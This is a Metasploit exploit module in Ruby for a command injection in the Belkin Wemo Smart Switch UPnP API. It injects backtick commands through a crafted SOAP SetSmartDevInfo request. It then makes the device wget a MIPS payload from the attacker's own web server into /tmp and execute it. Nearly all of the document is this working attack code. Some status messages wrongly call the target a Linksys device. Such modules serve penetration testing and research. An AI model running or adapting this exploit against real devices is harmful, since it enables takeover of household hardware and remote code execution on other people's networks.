Belkin Wemo SmartSwitch UPnP Remote Command Injection

wemo_upnp_exec.rb

##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'        => 'Belkin Wemo SmartSwitch UPnP Remote Command Injection',
      'Description' => %q{
          This module exploits a command injection vulnerability in the Belkin Wemo
          Smart Switch UPnP API.
      },
      'Author'      =>
        [
          'phikshun <[email protected]>', # Vulnerability discovery and Metasploit module
        ],
      'License'     => MSF_LICENSE,
      'References'  =>
        [
          [ 'URL', 'http://disconnected.io/2014/04/04/universal-plug-and-fuzz/' ],
        ],
      'DisclosureDate' => 'April 4 2014',
      'Privileged'     => true,
      'Platform'       => %w{ linux unix },
      'Payload'        =>
        {
          'DisableNops' => true
        },
      'Targets'        =>
        [
          [ 'Linux mipsel Payload',
            {
            'Arch' => ARCH_MIPSLE,
            'Platform' => 'linux'
            }
          ],
          [ 'CMD',
            {
            'Arch' => ARCH_CMD,
            'Platform' => 'unix'
            }
          ],
        ],
      'DefaultTarget'  => 0
      ))

    register_options(
      [
        Opt::RPORT(49153),
        OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]),
        OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]),
      ], self.class)
  end


  def request(cmd)
    soap_payload  = "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n"
    soap_payload << "<s:Envelope xmlns:s=\"http://schemas.xmlsoap.org/soap/envelope/\" "
    soap_payload << "s:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">\n"
    soap_payload << " <s:Body>\n"
    soap_payload << "  <u:SetSmartDevInfo xmlns:u=\"urn:Belkin:service:basicevent:1\">\n"
    soap_payload << "   <SmartDevURL>\n"
    soap_payload << "    `#{cmd}`\n"
    soap_payload << "   </SmartDevURL>\n"
    soap_payload << "  </u:SetSmartDevInfo>\n"
    soap_payload << " </s:Body>\n"
    soap_payload << "</s:Envelope>\n"

    begin
      res = send_request_cgi({
        'uri'     => '/upnp/control/basicevent1',
        'method'  => 'POST',
        'ctype'   => 'text/xml; charset="utf-8"',
        'headers' => {
          'SOAPACTION' => '"urn:Belkin:service:basicevent:1#SetSmartDevInfo"'
        },
        'data'    => soap_payload
      })
      return res
    rescue ::Rex::ConnectionError
      vprint_error("#{rhost}:#{rport} - Failed to connect to the web server")
      return nil
    end
  end

  def exploit
    downfile = datastore['DOWNFILE'] || rand_text_alpha(8+rand(8))
    rhost = datastore['RHOST']
    rport = datastore['RPORT']

    #thx to Juan for his awesome work on the mipsel elf support
    @pl = generate_payload_exe

    #
    # start our server
    #
    resource_uri = '/' + downfile

    if (datastore['DOWNHOST'])
      service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri
    else
      #do not use SSL
      if datastore['SSL']
        ssl_restore = true
        datastore['SSL'] = false
      end

      #we use SRVHOST as download IP for the coming wget command.
      #SRVHOST needs a real IP address of our download host
      if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::")
        srv_host = Rex::Socket.source_address(rhost)
      else
        srv_host = datastore['SRVHOST']
      end

      service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri
      print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...")
      start_service({'Uri' => {
        'Proc' => Proc.new { |cli, req|
          on_request_uri(cli, req)
        },
        'Path' => resource_uri
      }})

      datastore['SSL'] = true if ssl_restore
    end

    #
    # poor man's chmod
    #
    #this filename is used to store the payload on the device
    filename = rand_text_alpha_lower(8)
    cmd = "cp /bin/iwpriv /tmp/#{filename}"
    print_status("#{rhost}:#{rport} - Asking the Linksys device to chmod #{downfile}")
    res = request(cmd)
    if (!res)
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
    end

    #
    # download payload
    #
    print_status("#{rhost}:#{rport} - Asking the Linksys device to download #{service_url}")
    cmd = "wget #{service_url} -O /tmp/#{filename}"
    res = request(cmd)
    if (!res)
      fail_with(Failure::Unknown, "#{rhost}:#{rport} - Unable to deploy payload")
    end
    register_file_for_cleanup("/tmp/#{filename}")

    #
    # execute
    #
    cmd = "/tmp/#{filename}"
    print_status("#{rhost}:#{rport} - Asking the Linksys device to execute #{downfile}")
    request(cmd)
  end

  # Handle incoming requests from the server
  def on_request_uri(cli, request)
    #print_status("on_request_uri called: #{request.inspect}")
    if (not @pl)
      print_error("#{rhost}:#{rport} - A request came in, but the payload wasn't ready yet!")
      return
    end
    print_status("#{rhost}:#{rport} - Sending the payload to the server...")
    send_response(cli, @pl)
  end

end